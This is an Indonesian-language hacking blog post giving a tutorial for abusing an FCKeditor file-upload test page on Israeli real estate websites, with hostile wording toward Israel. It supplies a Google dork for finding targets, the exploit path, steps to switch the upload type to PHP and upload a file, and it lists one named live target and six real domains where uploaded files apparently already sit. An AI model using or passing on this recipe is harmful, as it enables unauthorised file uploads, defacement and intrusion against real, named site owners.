FCKeditor Real Estate in Israel Vuln

Assalamualaikum sobat IT ^_^ ,, bertemu lagi dengan saya masih diacara anu anued :3 haha
Kali ini saya akan share , teknik ini sudah saya share sebelumnya hanya saja kali ini sedikit berbeda ,, ini khusus untuk website Israhell !!
"FCKeditor Real Estate in Israel Vulnerability"
Sebelumnya saya ucapkan greet to nick "Railvers" .
Nah biar gak penasaran kita langsung saja yuk cekibrot >>

Pertama sepert biasa kita akan mengandalkan dork google
+++++++++++++++++++++++++++++++++++++++
#Dork : intext:Powered by Real Estate in Israel
#Exploit : http://situs.co.il//FCKeditor/editor/filemanager/connectors/uploadtest.html
+++++++++++++++++++++++++++++++++++++++

Nah tinggal gunakan saja dorknya gan ,, nanti pilih salah satu webnya yang sekiranya vuln , setelah itu masukan exploitnya ^_^. Nanti bakalan muncul kayak gini gan
Penampakan :

Ubah typenya ke PHP , pilih file yang mau agan upload , jika vuln maka akan muncul tulisan "file upload not error" dan nanti lokasi filenya akan dimunculkan secara otomatis.
Jika masih belum faham , sebaiknya baca dulu FCKeditor yang pernah saya share dulu :3 hehe
Nah cukup mudah bukan ? ^_^
Mungkin sekian dari saya yang dapat saya sampaikan , terimakasih ^_^ wassalam ^_^.

Live target :
www.gilinski.co.il//FCKeditor/editor/filemanager/connectors/uploadtest.html
Vuln     :

http://www.gilinski.co.il//data/images/pelurukertas.gif
http://www.star-gold.co.il//data/images/pelurukertas.gif
http://www.exclusive-properties.co.il//data/images/pelurukertas.gif
http://www.monopolisrael.com//data/images/pelurukertas.gif
http://www.0547377651.co.il//data/images/pelurukertas.gif
http://www.marcus-realestate.co.il//data/images/pelurukertas.gif